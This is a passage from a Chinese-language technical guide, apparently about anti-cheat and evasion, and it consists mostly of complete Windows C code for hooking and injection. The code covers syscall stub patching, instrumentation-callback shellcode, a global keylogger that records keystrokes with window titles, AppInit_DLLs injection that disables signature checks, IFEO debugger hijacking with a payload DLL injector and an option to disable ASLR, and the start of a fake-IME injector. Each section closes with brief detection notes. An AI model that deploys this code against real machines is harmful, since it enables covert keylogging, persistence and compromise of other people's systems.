// RAX = syscall 返回值
// 所有其他寄存器保持 syscall 返回时的状态
extern void InstrumentationCallbackEntry(void);
// 简化版 C 实现(使用内联汇编替代,仅适用于 MSVC x86 或需要单独 .asm)
// 对于纯 C 项目,可以使用 shellcode 方式:
BYTE g_callbackShellcode[] = {
0x50, // push rax
0x51, // push rcx
0x52, // push rdx
0x53, // push rbx
0x55, // push rbp
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
0x9C, // pushfq
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0x49, 0x89, 0xD1, // mov r9, rdx (保存)
0x4C, 0x89, 0xD1, // mov rcx, r10 (返回地址)
0x48, 0x89, 0xC2, // mov rdx, rax (syscall 返回值)
0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, // call [rip+0] → 这里需要 patch 为实际地址
// ... 恢复寄存器 ...
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0x9D, // popfq
0x41, 0x5F, // pop r15
0x41, 0x5E, // pop r14
0x41, 0x5D, // pop r13
0x41, 0x5C, // pop r12
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5F, // pop rdi
0x5E, // pop rsi
0x5D, // pop rbp
0x5B, // pop rbx
0x5A, // pop rdx
0x59, // pop rcx
0x58, // pop rax
0x41, 0xFF, 0xE2 // jmp r10
};
// C 处理函数
void InstrumentationCallbackHandler(PVOID returnAddress, ULONG64 syscallReturnValue) {
// returnAddress 是内核返回后要去的用户态地址
// 通过 returnAddress 可以判断是哪个 syscall(返回到 ntdll 的哪个 stub)
// 例:监控 NtReadVirtualMemory 的返回
// if (returnAddress == NtReadVirtualMemory_RetAddr) { ... }
// 也可以修改 RAX 来篡改 syscall 返回值
}
// 安装 Instrumentation Callback
BOOL InstallInstrumentationCallback() {
fnNtSetInformationProcess NtSetInformationProcess =
(fnNtSetInformationProcess)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");
if (!NtSetInformationProcess) return FALSE;
// 分配可执行内存给 shellcode
PVOID pCallback = VirtualAlloc(NULL, sizeof(g_callbackShellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pCallback, g_callbackShellcode, sizeof(g_callbackShellcode));
// Patch shellcode 中的函数指针
// (实际使用时需要正确计算偏移)
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
.Version = 0, // x64
.Reserved = 0,
.Callback = pCallback
};
NTSTATUS status = NtSetInformationProcess(
GetCurrentProcess(),
ProcessInstrumentationCallback,
&info,
sizeof(info)
);
return NT_SUCCESS(status);
}
// 移除 Instrumentation Callback
BOOL RemoveInstrumentationCallback() {
fnNtSetInformationProcess NtSetInformationProcess =
(fnNtSetInformationProcess)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
.Version = 0,
.Reserved = 0,
.Callback = NULL // 设为 NULL 即可移除
};
NTSTATUS status = NtSetInformationProcess(
GetCurrentProcess(),
ProcessInstrumentationCallback,
&info,
sizeof(info)
);
return NT_SUCCESS(status);
}
检测难度:★★★☆☆
- 不修改任何函数代码
- 但可以通过
NtQueryInformationProcess 查询是否设置了 Instrumentation Callback
- 内核中 EPROCESS.InstrumentationCallback 字段直接可读
- 某些反作弊直接清零该字段
优点
- 一次设置,拦截所有系统调用返回
- 不需要知道具体函数地址
- 纯用户态操作,不需要内核驱动
局限
- 只能在 syscall 返回路径上拦截,无法拦截普通函数调用
- 防递归处理很关键(回调内的 syscall 会再次触发回调)
- 需要 SeDebugPrivilege 来设置其他进程的回调
1.9 Syscall Hook(用户态直接系统调用劫持)
原理
现代反作弊会直接从 ntdll.dll 中读取 syscall 编号(SSN),绕过所有用户态 Hook 直接执行 syscall 指令。对抗方式是修改 ntdll 的 syscall stub 中的 SSN 或 syscall 指令本身。
完整实现(含多种绕过方案)
#include <windows.h>
// 方案 1:修改 SSN(让调用者不知情地调用另一个 syscall)
BOOL PatchSsn(const char* funcName, DWORD newSsn) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!pStub) return FALSE;
// 验证 stub 结构
if (pStub[0] != 0x4C || pStub[1] != 0x8B || pStub[2] != 0xD1 || pStub[3] != 0xB8)
return FALSE;
// pStub[4..7] 是 SSN
DWORD oldProtect;
VirtualProtect(pStub + 4, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
*(DWORD*)(pStub + 4) = newSsn;
VirtualProtect(pStub + 4, 4, oldProtect, &oldProtect);
return TRUE;
}
// 方案 2:替换 syscall 为 int 2e(触发不同的内核入口,可被内核 Hook 拦截)
BOOL PatchSyscallToInt2e(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!pStub) return FALSE;
// 找到 syscall 指令 (0F 05)
for (int i = 0; i < 32; i++) {
if (pStub[i] == 0x0F && pStub[i+1] == 0x05) {
DWORD oldProtect;
VirtualProtect(pStub + i, 2, PAGE_EXECUTE_READWRITE, &oldProtect);
pStub[i] = 0xCD; // int
pStub[i+1] = 0x2E; // 0x2E
VirtualProtect(pStub + i, 2, oldProtect, &oldProtect);
return TRUE;
}
}
return FALSE;
}
// 方案 3:完整替换 syscall stub 为自定义跳转
BOOL PatchSyscallStub(const char* funcName, PVOID hookFunc) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!pStub) return FALSE;
// 将整个 stub 替换为跳转到我们的函数
// 原始 stub 约 20 字节,足够放一个 14 字节绝对跳转
DWORD oldProtect;
VirtualProtect(pStub, 14, PAGE_EXECUTE_READWRITE, &oldProtect);
pStub[0] = 0xFF;
pStub[1] = 0x25;
*(DWORD*)(pStub + 2) = 0;
*(UINT64*)(pStub + 6) = (UINT64)hookFunc;
VirtualProtect(pStub, 14, oldProtect, &oldProtect);
return TRUE;
}
// 方案 4:Syscall 重映射(将 ntdll 从磁盘重新映射一份干净副本)
// 用于对抗:检测 ntdll 是否被修改
HMODULE RemapCleanNtdll() {
// 从磁盘读取干净的 ntdll
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMapping);
CloseHandle(hFile);
// 现在 pClean 是一份干净的 ntdll 映射
// 可以从这里获取真实的 syscall 编号
return (HMODULE)pClean;
}
// 从干净 ntdll 提取 SSN(用于直接 syscall)
DWORD GetCleanSsn(HMODULE hCleanNtdll, const char* funcName) {
BYTE* pFunc = (BYTE*)GetProcAddress(hCleanNtdll, funcName);
if (!pFunc) return -1;
if (pFunc[0] == 0x4C && pFunc[3] == 0xB8) {
return *(DWORD*)(pFunc + 4);
}
return -1;
}
检测难度:★★☆☆☆
直接读取 ntdll 的 .text 段对比磁盘文件即可发现修改。
关键对抗
现代反作弊(如 EAC、BattlEye)的做法:
- 从磁盘重新映射一份干净 ntdll
- 直接从干净副本中提取 SSN
- 用自己的 syscall 汇编直接调用内核,完全绕过被 Hook 的 ntdll
1.10 SetWindowsHookEx(Windows 消息钩子)
原理
Windows 消息机制提供了全局钩子接口 SetWindowsHookEx,可以拦截系统范围内的键盘、鼠标、窗口消息等事件。设置全局钩子时,系统会将指定的 DLL 注入到所有拥有消息循环的进程中,这使它成为最经典的 DLL 注入 + 行为监控手段。
钩子类型包括:WH_KEYBOARD_LL(低级键盘)、WH_MOUSE_LL(低级鼠标)、WH_CBT(窗口创建/销毁/激活)、WH_GETMESSAGE(消息队列)、WH_CALLWNDPROC(窗口过程调用)等。
完整实现
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "user32.lib")
typedef struct {
HHOOK hKeyboard;
HHOOK hMouse;
HHOOK hCbt;
FILE* logFile;
BOOL running;
} HOOK_ENGINE;
static HOOK_ENGINE g_engine = {0};
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
const char* action = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) ? "DOWN" : "UP";
char keyName[64] = {0};
GetKeyNameTextA((LONG)(MapVirtualKeyA(kb->vkCode, MAPVK_VK_TO_VSC) << 16), keyName, sizeof(keyName));
DWORD pid = 0;
HWND fg = GetForegroundWindow();
GetWindowThreadProcessId(fg, &pid);
char windowTitle[256] = {0};
GetWindowTextA(fg, windowTitle, sizeof(windowTitle));
fprintf(g_engine.logFile, "[%s] VK=0x%02X Scan=0x%02X Key=%s PID=%lu Window=%s flags=0x%08X\n",
action, kb->vkCode, kb->scanCode, keyName, pid, windowTitle, kb->flags);
fflush(g_engine.logFile);
if (kb->flags & LLKHF_INJECTED) {
// 标记注入的键盘事件(来自 SendInput/keybd_event)
}
}
return CallNextHookEx(g_engine.hKeyboard, nCode, wParam, lParam);
}
LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
MSLLHOOKSTRUCT* ms = (MSLLHOOKSTRUCT*)lParam;
const char* event = "UNKNOWN";
switch (wParam) {
case WM_LBUTTONDOWN: event = "LDOWN"; break;
case WM_LBUTTONUP: event = "LUP"; break;
case WM_RBUTTONDOWN: event = "RDOWN"; break;
case WM_RBUTTONUP: event = "RUP"; break;
case WM_MOUSEMOVE: return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
case WM_MOUSEWHEEL: event = "WHEEL"; break;
}
HWND target = WindowFromPoint(ms->pt);
char className[128] = {0};
GetClassNameA(target, className, sizeof(className));
fprintf(g_engine.logFile, "[MOUSE] %s (%d,%d) Target=%s flags=0x%08X\n",
event, ms->pt.x, ms->pt.y, className, ms->flags);
fflush(g_engine.logFile);
}
return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
}
LRESULT CALLBACK CbtProc(int nCode, WPARAM wParam, LPARAM lParam) {
switch (nCode) {
case HCBT_CREATEWND: {
CBT_CREATEWNDA* cbt = (CBT_CREATEWNDA*)lParam;
if (cbt->lpcs->lpszName) {
fprintf(g_engine.logFile, "[CBT] CREATE hwnd=%p class=%s title=%s\n",
(void*)(ULONG_PTR)wParam,
cbt->lpcs->lpszClass ? (const char*)cbt->lpcs->lpszClass : "?",
cbt->lpcs->lpszName ? cbt->lpcs->lpszName : "?");
}
break;
}
case HCBT_DESTROYWND:
fprintf(g_engine.logFile, "[CBT] DESTROY hwnd=%p\n", (void*)(ULONG_PTR)wParam);
break;
case HCBT_ACTIVATE:
fprintf(g_engine.logFile, "[CBT] ACTIVATE hwnd=%p\n", (void*)(ULONG_PTR)wParam);
break;
}
fflush(g_engine.logFile);
return CallNextHookEx(g_engine.hCbt, nCode, wParam, lParam);
}
BOOL InstallGlobalHooks() {
g_engine.logFile = fopen("C:\\hook_log.txt", "a");
if (!g_engine.logFile) return FALSE;
g_engine.hKeyboard = SetWindowsHookExA(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandleA(NULL), 0);
g_engine.hMouse = SetWindowsHookExA(WH_MOUSE_LL, LowLevelMouseProc, GetModuleHandleA(NULL), 0);
g_engine.hCbt = SetWindowsHookExA(WH_CBT, CbtProc, GetModuleHandleA(NULL), 0);
if (!g_engine.hKeyboard && !g_engine.hMouse && !g_engine.hCbt) {
fclose(g_engine.logFile);
return FALSE;
}
g_engine.running = TRUE;
return TRUE;
}
void UninstallGlobalHooks() {
if (g_engine.hKeyboard) { UnhookWindowsHookEx(g_engine.hKeyboard); g_engine.hKeyboard = NULL; }
if (g_engine.hMouse) { UnhookWindowsHookEx(g_engine.hMouse); g_engine.hMouse = NULL; }
if (g_engine.hCbt) { UnhookWindowsHookEx(g_engine.hCbt); g_engine.hCbt = NULL; }
if (g_engine.logFile) { fclose(g_engine.logFile); g_engine.logFile = NULL; }
g_engine.running = FALSE;
}
// 全局钩子 DLL 版本(注入到目标进程)
// hookdll.c - 编译为 hookdll.dll
#ifdef BUILD_HOOK_DLL
#pragma data_seg(".shared")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")
HINSTANCE g_hInst = NULL;
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
MSG* msg = (MSG*)lParam;
// DLL 已注入目标进程,可以在此执行任意代码
// 例如:Hook 目标进程的 API、读取内存、修改行为等
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
__declspec(dllexport) BOOL StartHook() {
g_hHook = SetWindowsHookExA(WH_GETMESSAGE, GetMsgProc, g_hInst, 0);
return g_hHook != NULL;
}
__declspec(dllexport) void StopHook() {
if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; }
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
g_hInst = hModule;
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}
#endif
int main() {
if (!InstallGlobalHooks()) {
printf("Failed to install hooks\n");
return 1;
}
printf("Global hooks installed. Press Ctrl+C to exit.\n");
MSG msg;
while (GetMessageA(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
UninstallGlobalHooks();
return 0;
}
检测方法
GetWindowsHookEx 枚举当前安装的全局钩子
- 检查进程中是否加载了非预期的 DLL
- 监控 SetWindowsHookEx 调用(通过 API Monitor 或 ETW)
- 低级钩子(
WH_KEYBOARD_LL/WH_MOUSE_LL)不注入 DLL,但需要消息循环保持活跃
1.11 AppInit_DLLs(注册表全局注入)
原理
Windows 在加载 user32.dll 时会检查注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,如果该键非空,则将指定的 DLL 加载到每个使用 user32.dll 的进程中。这是最古老的全局注入手段之一。
Win8+ 需要额外设置 LoadAppInit_DLLs = 1,Win10 Secure Boot 模式下被彻底禁用(RequireSignedAppInit_DLLs)。
完整实现
#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")
#define APPINIT_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
#define APPINIT_KEY_WOW64 L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
typedef struct {
WCHAR dllPath[MAX_PATH];
BOOL is64bit;
BOOL requireSigned;
} APPINIT_CONFIG;
BOOL EnableAppInitDlls(const WCHAR* dllPath, BOOL enable) {
HKEY hKey;
LPCWSTR keyPath = APPINIT_KEY;
LONG ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hKey);
if (ret != ERROR_SUCCESS) return FALSE;
if (enable) {
// 设置 LoadAppInit_DLLs = 1
DWORD loadFlag = 1;
RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
// 读取现有值,追加新 DLL 路径
WCHAR existing[4096] = {0};
DWORD existingSize = sizeof(existing);
RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);
if (wcsstr(existing, dllPath) == NULL) {
if (wcslen(existing) > 0) wcscat_s(existing, 4096, L" ");
wcscat_s(existing, 4096, dllPath);
}
RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));
// 禁用签名要求(仅测试环境)
DWORD signFlag = 0;
RegSetValueExW(hKey, L"RequireSignedAppInit_DLLs", 0, REG_DWORD, (BYTE*)&signFlag, sizeof(DWORD));
} else {
// 从现有值中移除指定 DLL
WCHAR existing[4096] = {0};
DWORD existingSize = sizeof(existing);
RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);
WCHAR* found = wcsstr(existing, dllPath);
if (found) {
size_t dllLen = wcslen(dllPath);
// 移除路径和前后的空格
WCHAR* afterDll = found + dllLen;
if (*afterDll == L' ') afterDll++;
wmemmove(found, afterDll, wcslen(afterDll) + 1);
// 清理尾部空格
size_t len = wcslen(existing);
while (len > 0 && existing[len-1] == L' ') existing[--len] = L'\0';
}
RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));
if (wcslen(existing) == 0) {
DWORD loadFlag = 0;
RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
}
}
RegCloseKey(hKey);
return TRUE;
}
// 被注入的 DLL 代码
#ifdef BUILD_PAYLOAD_DLL
#include <tlhelp32.h>
static BOOL g_initialized = FALSE;
static CHAR g_targetProcess[MAX_PATH] = "target.exe";
void PayloadMain() {
char currentExe[MAX_PATH];
GetModuleFileNameA(NULL, currentExe, MAX_PATH);
char* exeName = strrchr(currentExe, '\\');
exeName = exeName ? exeName + 1 : currentExe;
if (_stricmp(exeName, g_targetProcess) != 0) return;
// 仅在目标进程中执行 payload
// 示例:IAT Hook + 行为修改
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
// ... 执行具体 Hook 逻辑
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
switch (reason) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
if (!g_initialized) {
g_initialized = TRUE;
PayloadMain();
}
break;
}
return TRUE;
}
#endif
// 安装器
int wmain(int argc, WCHAR* argv[]) {
if (argc < 3) {
wprintf(L"Usage: appinit_installer.exe <install|uninstall> <dll_path>\n");
return 1;
}
BOOL install = (_wcsicmp(argv[1], L"install") == 0);
if (!PathFileExistsW(argv[2]) && install) {
wprintf(L"DLL not found: %s\n", argv[2]);
return 1;
}
if (EnableAppInitDlls(argv[2], install)) {
wprintf(L"%s successful: %s\n", install ? L"Install" : L"Uninstall", argv[2]);
// 同时处理 WOW64 路径(32位进程在64位系统上)
BOOL isWow64 = FALSE;
IsWow64Process(GetCurrentProcess(), &isWow64);
if (!isWow64) {
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, APPINIT_KEY_WOW64, 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
DWORD loadFlag = install ? 1 : 0;
RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
RegCloseKey(hKey);
wprintf(L"WOW64 key also updated\n");
}
}
} else {
wprintf(L"Failed (need administrator privileges)\n");
return 1;
}
return 0;
}
检测方法
- 监控注册表键
AppInit_DLLs 和 LoadAppInit_DLLs 的变更
- 启用 Secure Boot +
RequireSignedAppInit_DLLs 彻底阻止
- Process Monitor 观察 user32.dll 加载时的注册表查询
1.12 IFEO(映像劫持 / 调试器重定向)
原理
Image File Execution Options(映像文件执行选项)是 Windows 提供的调试辅助功能。通过在注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe> 下设置 Debugger 值,可以让系统在启动指定程序时自动启动另一个程序(原程序路径作为参数传入)。
高级用法还包括 GlobalFlag(启用页堆等调试功能)和 VerifierDlls(Application Verifier 注入自定义 DLL)。
完整实现
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
#define IFEO_BASE L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"
typedef enum {
IFEO_DEBUGGER, // 经典 Debugger 重定向
IFEO_VERIFIER, // Application Verifier DLL 注入
IFEO_GLOBALFLAG, // 全局标志(页堆、栈回溯等)
IFEO_MITIGATION, // 进程缓解策略修改
IFEO_SILENT_EXIT // 静默退出监控(WerFault 劫持)
} IFEO_METHOD;
BOOL InstallIfeo(const WCHAR* targetExe, const WCHAR* payload, IFEO_METHOD method) {
WCHAR keyPath[512];
swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);
HKEY hKey;
DWORD disposition;
LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
if (ret != ERROR_SUCCESS) return FALSE;
BOOL result = FALSE;
switch (method) {
case IFEO_DEBUGGER: {
// 方法1:经典 Debugger 劫持
// 当系统启动 targetExe 时,实际启动的是 payload,targetExe 作为参数
result = (RegSetValueExW(hKey, L"Debugger", 0, REG_SZ,
(BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
break;
}
case IFEO_VERIFIER: {
// 方法2:Application Verifier 注入
// 设置 GlobalFlag 启用 verifier,指定自定义 verifier DLL
DWORD globalFlag = 0x100; // FLG_APPLICATION_VERIFIER
RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD, (BYTE*)&globalFlag, sizeof(DWORD));
result = (RegSetValueExW(hKey, L"VerifierDlls", 0, REG_SZ,
(BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
break;
}
case IFEO_GLOBALFLAG: {
// 方法3:启用页堆 + 栈回溯等调试功能
DWORD flags = 0x02000000 | 0x1000; // FLG_HEAP_PAGE_ALLOCS | FLG_USER_STACK_TRACE_DB
result = (RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD,
(BYTE*)&flags, sizeof(DWORD)) == ERROR_SUCCESS);
break;
}
case IFEO_MITIGATION: {
// 方法4:修改进程缓解策略
// 例如禁用 CFG、禁用 ASLR 等(降低目标安全性后再攻击)
DWORD64 policy = 0;
// PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_OFF
policy |= (0x2ULL << 8);
// PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_OFF
policy |= (0x2ULL << 16);
WCHAR mitigation[128];
swprintf_s(mitigation, 128, L"%llu", policy);
result = (RegSetValueExW(hKey, L"MitigationOptions", 0, REG_SZ,
(BYTE*)mitigation, (DWORD)((wcslen(mitigation) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
break;
}
case IFEO_SILENT_EXIT: {
// 方法5:静默退出监控
// 当进程退出时触发 WerFault 或自定义监控程序
DWORD reportingMode = 1; // LAUNCH_MONITORPROCESS
RegSetValueExW(hKey, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
result = (RegSetValueExW(hKey, L"MonitorProcess", 0, REG_SZ,
(BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
// 还需要在 SilentProcessExit 子键配置
WCHAR silentKey[512];
swprintf_s(silentKey, 512, L"%s\\%s\\SilentProcessExit", IFEO_BASE, targetExe);
HKEY hSilent;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, silentKey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hSilent, NULL) == ERROR_SUCCESS) {
RegSetValueExW(hSilent, L"MonitorProcess", 0, REG_SZ, (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR)));
RegSetValueExW(hSilent, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
RegCloseKey(hSilent);
}
break;
}
}
RegCloseKey(hKey);
return result;
}
BOOL RemoveIfeo(const WCHAR* targetExe) {
WCHAR keyPath[512];
swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);
return (RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath) == ERROR_SUCCESS);
}
// Debugger 代理程序(作为 payload 使用)
// 当系统通过 IFEO 启动此程序时,原始 exe 路径在 argv[1]
#ifdef BUILD_DEBUGGER_PROXY
int wmain(int argc, WCHAR* argv[]) {
if (argc < 2) return 1;
// argv[1] = 原始目标程序路径
// 可以在此注入 DLL 后再启动目标程序
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
// 注入方式:CREATE_SUSPENDED -> 注入 DLL -> ResumeThread
if (CreateProcessW(argv[1], GetCommandLineW(), NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
// 在这里执行 DLL 注入
WCHAR dllToInject[] = L"C:\\payload.dll";
SIZE_T dllPathSize = (wcslen(dllToInject) + 1) * sizeof(WCHAR);
LPVOID remoteBuf = VirtualAllocEx(pi.hProcess, NULL, dllPathSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuf, dllToInject, dllPathSize, NULL);
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, pLoadLibrary, remoteBuf, 0, NULL);
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
VirtualFreeEx(pi.hProcess, remoteBuf, 0, MEM_RELEASE);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return 0;
}
#endif
int wmain(int argc, WCHAR* argv[]) {
// 示例:对 notepad.exe 安装 IFEO Debugger 劫持
InstallIfeo(L"notepad.exe", L"C:\\debugger_proxy.exe", IFEO_DEBUGGER);
wprintf(L"IFEO installed for notepad.exe\n");
// 示例:对 target.exe 安装 Verifier DLL 注入
InstallIfeo(L"target.exe", L"payload.dll", IFEO_VERIFIER);
wprintf(L"Verifier DLL injection configured for target.exe\n");
return 0;
}
检测方法
- 监控 IFEO 注册表键的创建和修改(Sysmon Event ID 12/13)
- 检查所有 IFEO 子键是否有
Debugger、VerifierDlls、MonitorProcess 等可疑值
- 应用白名单:仅允许已知调试器(如
vsjitdebugger.exe)作为 Debugger 值
1.13 IME 注入(输入法注入)
原理
Windows 输入法(IME)通过注册表 HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layouts 注册,每个输入法对应一个 DLL。当用户切换到该输入法时,系统会将对应的 IME DLL 加载到当前焦点进程中。通过注册一个伪造的输入法 DLL,可以实现对任意 GUI 进程的 DLL 注入。
更高级的方式是使用 Text Services Framework(TSF),通过 COM 接口注册 Text Input Processor,实现更隐蔽的注入。
完整实现
#include <windows.h>
#include <imm.h>
#include <stdio.h>
#pragma comment(lib, "imm32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
#define FAKE_IME_KEY L"E0200804" // 自定义键盘布局 ID
#define FAKE_IME_NAME L"Fake Research IME"
// === 安装器代码 ===
BOOL RegisterFakeIme(const WCHAR* imeDllPath) {
WCHAR keyPath[256];
swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);
HKEY hKey;
DWORD disposition;
LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
if (ret != ERROR_SUCCESS) return FALSE;
// 设置输入法文件名(只需要文件名,不需要完整路径,DLL 需放在 System32)
WCHAR* dllName = wcsrchr(imeDllPath, L'\\');
dllName = dllName ? dllName + 1 : (WCHAR*)imeDllPath;
RegSetValueExW(hKey, L"Ime File", 0, REG_SZ, (BYTE*)dllName, (DWORD)((wcslen(dllName) + 1) * sizeof(WCHAR)));
RegSetValueExW(hKey, L"Layout Text", 0, REG_SZ, (BYTE*)FAKE_IME_NAME, sizeof(FAKE_IME_NAME));
WCHAR layoutFile[] = L"kbdus.dll";
RegSetValueExW(hKey, L"Layout File", 0, REG_SZ, (BYTE*)layoutFile, sizeof(layoutFile));
RegCloseKey(hKey);
// 复制 DLL 到 System32
WCHAR sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
WCHAR destPath[MAX_PATH];
swprintf_s(destPath, MAX_PATH, L"%s\\%s", sysDir, dllName);
CopyFileW(imeDllPath, destPath, FALSE);
return TRUE;
}
BOOL ActivateFakeIme(DWORD targetTid) {
// 加载输入法到指定线程
HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE);
if (!hkl) return FALSE;
if (targetTid != 0) {
// 向目标线程发送输入法切换消息
PostThreadMessageW(targetTid, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);
}
return TRUE;
}
BOOL InjectViaIme(DWORD targetPid) {
// 找到目标进程的主线程
HWND hWnd = NULL;
DWORD tid = 0;
// 枚举目标进程的窗口
typedef struct { DWORD pid; HWND hwnd; } FIND_WND_DATA;
FIND_WND_DATA data = { targetPid, NULL };
EnumWindows([](HWND hwnd, LPARAM lp) -> BOOL {
FIND_WND_DATA* d = (FIND_WND_DATA*)lp;
DWORD pid;
GetWindowThreadProcessId(hwnd, &pid);
if (pid == d->pid && IsWindowVisible(hwnd)) {
d->hwnd = hwnd;
